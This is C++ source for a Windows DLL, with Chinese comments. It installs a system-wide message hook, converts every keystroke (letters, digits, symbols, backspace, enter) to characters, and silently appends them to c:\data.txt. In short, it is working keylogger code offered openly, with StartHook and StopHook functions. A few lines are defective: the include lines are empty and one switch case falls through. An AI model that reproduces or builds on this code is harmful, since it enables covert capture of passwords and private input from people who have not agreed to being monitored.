// Keyboard.cpp : Defines the entry point for the DLL application.
//
//#include "stdafx.h"
#include
#include
HINSTANCE g_hInstance = NULL;
HHOOK Kg_hHook = NULL;
char Buff[10]= {0};
#define DEBUG_LOG
"c:\\data.txt"
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
//得到dll模块句柄
g_hInstance = (HINSTANCE)hModule;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_DETACH:
if (Kg_hHook != NULL) UnhookWindowsHookEx(Kg_hHook);
break;
}
return TRUE;
}
int DataToFile( char *buff )
{
//调用CreateFile函数以只写方式打开一个文件
HANDLE hFile=CreateFile("c:\\data.txt",GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile error\n");
return 0;
}
//调用SetFilePointer函数调整文件指针位置，移动到文件末尾
if(SetFilePointer(hFile,0,NULL,FILE_END)==-1)
{
printf("SetFilePointer error \n");
return 0;
}
DWORD dwWrite;
//把buff中的内容写入到文件末尾
if(!WriteFile(hFile,buff,strlen(buff),&dwWrite,NULL))
{
printf("WriteFile error \n");
return 0;
}
CloseHandle(hFile);
return 0;
}
LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode < 0 )
return CallNextHookEx(Kg_hHook, nCode, wParam, lParam);
if (nCode==HC_ACTION)
{
MSG *pEventMsg=(MSG*)lParam;
//判断是否由击键消息
if (pEventMsg->message==WM_KEYDOWN)
{
//得到按键的ASC码值
int vKey=pEventMsg->wParam;
char ch;
char str[10];
memset(Buff,0,10);
memset(str,0,10);
const int KeyMask=0x80000000;
//得到Shift键的状态
int iShift=GetKeyState(0x10);
//得到Caps Lock键的状态
int iCapital=GetKeyState(0x14);
//得到NumLock键的状态
int iNumLock=GetKeyState(0x90);
BOOL bShift=(iShift & KeyMask)==KeyMask;
BOOL bCapital=(iCapital & 1)==1;
BOOL bNumLock=(iNumLock & 1)==1;
//判断按键是否是主键盘区的数字
if (vKey >=48 && vKey<=57)
{
//asc码转换成字符
switch (vKey)
{
case 48:
if (!bShift) ch='0';
else ch=')';
break;
case 49:
if (!bShift) ch='1';
else ch='!';
break;
case 50:
if (!bShift) ch='2';
else ;
case 51:
if (!bShift) ch='3';
else ch='#';
break;
case 52:
if (!bShift) ch='4';
else ch='$';
break;
case 53:
if (!bShift) ch='5';
else ch='%';
break;
case 54:
if (!bShift) ch='6';
else ch='^';
break;
case 55:
if (!bShift) ch='7';
else ch='&';
break;
case 56:
if (!bShift) ch='8';
else ch='*';
break;
case 57:
if (!bShift) ch='9';
else ch='(';
break;
}
Buff[0]=ch;
DataToFile(Buff);
}
//判断按键是否是主键盘区的字母
if (vKey >=65 && vKey<=90)
{
//判断Caps Lock键是否按下
if (!bCapital)
{
//判断Shift键是否按下
if (bShift)
ch=vKey;
else
ch=vKey+32;
}
else
{
if (bShift) ch=vKey+32;
else ch=vKey;
}
Buff[0]=ch;
DataToFile(Buff);
}
//判断按键是否是数字区的数字
if (vKey >=96 && vKey<=105)
{
if (bNumLock)
{
switch (vKey)
{
case 96:
ch='0';
break;
case 97:
ch='1';
break;
case 98:
ch='2';
break;
case 99:
ch='3';
break;
case 100:
ch='4';
break;
case 101:
ch='5';
break;
case 102:
ch='6';
break;
case 103:
ch='7';
break;
case 104:
ch='8';
break;
case 105:
ch='9';
break;
}
Buff[0]=ch;
DataToFile(Buff);
}
}
//判断按键是否是主键盘区的符号键
if (vKey>=186 && vKey<=222)
{
//把asc码转换成字符
switch (vKey)
{
case 186:
if (!bShift) ch=';';
else ch=':';
break;
case 187:
if (!bShift) ch='=';
else ch='+';
break;
case 188:
if (!bShift) ch=',';
else ch='<' ;
break;
case 189:
if (!bShift) ch='-';
else ch='_';
break;
case 190:
if (!bShift) ch='.';
else ch=' >';
break;
case 191:
if (!bShift) ch='/';
else ch='?';
break;
case 192:
if (!bShift) ch='`';
else ch='~';
break;
case 219:
if (!bShift) ch='[';
else ch='{';
break;
case 220:
if (!bShift) ch='\\';
else ch='|';
break;
case 221:
if (!bShift) ch=']';
else ch='}';
break;
case 222:
if (!bShift) ch='\'';
else ch='\"';
break;
default:
break;
}
Buff[0]=ch;
DataToFile(Buff);
}
switch (vKey)
{
//判断是否是退格键
case 8:
{
strcpy(Buff,"[BK]");
DataToFile(Buff);
break;
}
//判断是否是回车键
case 13:
{
strcpy(Buff,"[enter]");
DataToFile(Buff);
break;
}
default:
break;
}
}
}
return CallNextHookEx(Kg_hHook, nCode, wParam, lParam);
}
BOOL StartHook()
{
if (Kg_hHook!=NULL)
return FALSE;
//安装钩子
Kg_hHook = SetWindowsHookEx(WH_GETMESSAGE, KeyHookProc, g_hInstance, NULL);
return TRUE;
}
BOOL StopHook()
{
if (Kg_hHook != NULL)
{
if(!UnhookWindowsHookEx(Kg_hHook))
return FALSE;
Kg_hHook = NULL;
}
return TRUE;
}
